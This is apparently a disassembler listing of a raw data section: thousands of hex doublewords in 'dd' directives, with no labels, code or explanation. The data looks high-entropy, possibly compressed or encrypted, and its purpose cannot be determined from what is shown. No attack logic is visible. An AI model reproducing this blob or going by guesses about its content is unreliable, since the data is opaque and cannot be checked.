dd 10D008D4h, 0F831FCh, 1DD87D89h, 59226421h, 0AC1F34F8h
dd 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h
dd 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h, 32002126h
dd 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh
dd 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h
dd 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh
dd 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh, 0BCDE6300h
dd 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh, 0AC0040B0h
dd 39B481B8h, 0F85BC5h, 0B6BE24FCh, 0DC224972h, 20581D73h
dd 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h
dd 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h
dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h
dd 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh
dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh
dd 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h
dd 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h
dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h
dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h
dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh
dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h
dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh
dd 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h
dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h
dd 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah
dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h
dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh
dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h
dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h
dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h
dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h
dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh
dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh
dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h
dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh
dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh
dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh
dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h
dd 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h
dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h
dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h
dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh
dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h
dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h
dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh
dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h
dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h
dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h
dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h
dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h
dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
dd 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h
dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h
dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh
dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch, 0BF00493Eh
dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh
dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h
dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah
dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h, 105E0BB9h
dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh
dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h
dd 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh
dd 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh
dd 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h, 755CE9F8h
dd 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h, 0BE81D489h
dd 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h, 1D451723h
dd 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h
dd 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h
dd 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh
dd 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh, 0FF046FE0h
dd 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h, 9880E10Fh
dd 0F94594h, 15086EEBh, 81C49610h, 67D38600h, 0A528F895h
dd 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh
dd 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h, 2421F800h
dd 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h, 0F4CF45Dh
dd 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h
dd 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h, 0ACA754D9h
dd 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh
dd 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h
dd 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h, 99D4004Ch
dd 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h
dd 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh, 88008398h
dd 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh, 0DB98DB75h
dd 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh
dd 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh
dd 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh
dd 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h, 1B094892h
dd 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h
dd 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h
dd 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh
dd 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h, 84D4295Dh
dd 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h
dd 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh
dd 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h
dd 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h
dd 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h, 2474DC2Fh
dd 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h, 5EEEE674h
dd 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh
dd 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h, 42D480A4h
dd 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh
dd 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh
dd 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh, 3DE45570h
dd 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h
dd 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h
dd 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh, 43030004h
dd 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh
dd 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh
dd 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h
dd 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h, 0C540EBA0h
dd 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch
dd 25F74Ch, 0F64C9B90h, 0B00507h, 0AFECE901h, 0D854DF4Dh
dd 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh, 283C3043h
dd 48080400h, 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah
dd 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h
dd 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch
dd 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h
dd 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh
dd 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh
dd 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh, 257A4B00h
dd 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h
dd 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h
dd 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h, 0CFA4D27h
dd 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h
dd 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h
dd 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh
dd 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h
dd 1602546h, 4CBAC38Ch, 0DCB49535h, 0F7F420F8h, 4301200h
dd 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch
dd 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h, 0C4972CEh
dd 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h
dd 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh
dd 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh
dd 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch
dd 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h
dd 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h, 0B975A775h
dd 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h, 8A0EAA01h
dd 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h, 8A215350h
dd 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h
dd 0A51D0075h, 74349119h, 3B002B85h, 47763196h, 0CB92Ch
dd 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h
dd 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh
dd 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h, 0C3EA004Ch
dd 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h
dd 0F73002B0h, 71009735h, 88930839h, 2E03117h, 0EA1052Bh
dd 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h, 24B82Fh
dd 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h, 1C080037h
dd 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h, 8568A120h
dd 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h, 0CFBFF4h
dd 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h, 96B438F3h
dd 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h, 7102C7Fh
dd 6032C824h, 68C0DE09h
dd 70916C48h, 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h
dd 2CF0CC2h, 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h
dd 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh
dd 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h
dd 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h
dd 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h
dd 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h
dd 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h
dd 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h, 0E8F980AFh
dd 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h, 8A058902h
dd 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h, 9DF50120h
dd 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh
dd 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h
dd 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh, 988E000Dh
dd 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h, 7021004Ch
dd 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h, 75045F60h
dd 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h, 2523FB18h
dd 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch
dd 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h, 3CF7E6C4h
dd 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h, 3E07A01h
dd 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h, 802BB61Bh
dd 3B887410h, 200758C4h, 14428C8Fh, 2C915477h, 23E8463Dh
dd 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch, 687702C4h
dd 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah, 0F8589383h
dd 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh, 5A193538h
dd 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h, 0C5812Ah
dd 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh, 0C8C00B7h
dd 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh
dd 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h
dd 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h
dd 46A2F82h, 8800A495h, 4178C646h, 91085B8h, 436DAC14h
dd 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h
dd 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch, 2330B9CFh
dd 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h
dd 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h
dd 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h, 6E10D9A1h
dd 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h, 601F5389h
dd 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h
dd 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h, 800F7BB1h
dd 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh
dd 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah, 0FC91F08h
dd 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah
dd 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch
dd 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h
dd 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h
dd 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h
dd 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h, 0E676045h
dd 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h
dd 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h
dd 10E06480h, 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh
dd 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h
dd 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h
dd 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h
dd 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h
dd 8BFC40h, 0DD8192C4h, 7245618Ah, 95D5BE00h, 552DD3FEh
dd 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh
dd 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh
dd 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h
dd 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h, 62C2BD7Ch
dd 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h
dd 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h
dd 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh
dd 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h
dd 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch
dd 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h
dd 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah, 0B3AE9FFEh
dd 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h
dd 87C62A01h, 52F13547h, 34978C00h, 90CC8523h, 13040018h
dd 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h, 0BCAF0390h
dd 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh
dd 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h
dd 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h
dd 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h
dd 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h, 0B3CF9C0h
dd 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh
dd 4518E869h, 58C4CB1h, 0CE0D8007h, 40BE408Eh, 0C050B372h
dd 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah
dd 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h, 0AA984ED3h
dd 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h, 290C0514h
dd 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h, 42441453h
dd 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h, 0BBB8B00h
dd 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh
dd 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h, 710D638h, 8478C337h
dd 43126CFCh, 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh
dd 4E01017h, 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h
dd 0BB198C6Eh, 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh
dd 1CA2CFh, 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h
dd 1F20EA8Dh, 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h
dd 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h
dd 0B40B794h, 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h
dd 700E1000h, 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch
dd 0E0330981h, 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h
dd 4B2EDE72h, 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h
dd 70020728h, 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh
dd 110BC340h, 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h
dd 1BCEFC5Ch, 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h
dd 0AD21F088h, 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h
dd 9914E5CFh, 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch
dd 0AF103F21h, 65000838h, 0C440AC56h, 0B5714331h, 44E64101h
dd 86F42922h, 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h
dd 97000185h, 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h
dd 0C9D2682Eh, 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh
dd 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h
dd 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h
dd 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh
dd 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h
dd 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h
dd 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h
dd 34B2B380h, 8D2A107h, 96044E00h, 9017A832h, 1F82EE10h
dd 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch
dd 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh
dd 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h
dd 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h
dd 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh
dd 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh
dd 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h
dd 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h
dd 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch, 0C800EACAh
dd 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh, 0D7D07881h
dd 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh
dd 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh
dd 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh, 76173E09h
dd 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h
dd 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h
dd 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h, 59A08F88h
dd 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch, 0F2D73B43h
dd 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h
dd 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh
dd 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h
dd 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h
dd 0A54AFFh, 6DB69773h, 481A0D40h, 0B807D800h, 0F2A29DFEh
dd 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h
dd 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h
dd 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh, 0EA21E30h
dd 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh
dd 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h
dd 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h
dd 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h
dd 7C8B020h, 6214230Ch, 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h
dd 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh
dd 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h
dd 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh, 0BB8DE805h
dd 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h, 3300E90Ch
dd 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh
dd 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh
dd 8233FDCh, 0FBC8C42h, 78C21259h, 1C941F60h, 0A472A7FFh
dd 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh
dd 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h
dd 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h
dd 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h, 0B0FF28B5h
dd 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh
dd 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h, 0B03DEB97h
dd 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h
dd 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h
dd 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh, 24A0B609h
dd 298C47E9h, 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h
dd 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh
dd 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h
dd 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h
dd 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h, 0BDE28D00h
dd 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h
dd 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh
dd 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch, 0CB6EAE00h
dd 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh, 1201E883h
dd 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h
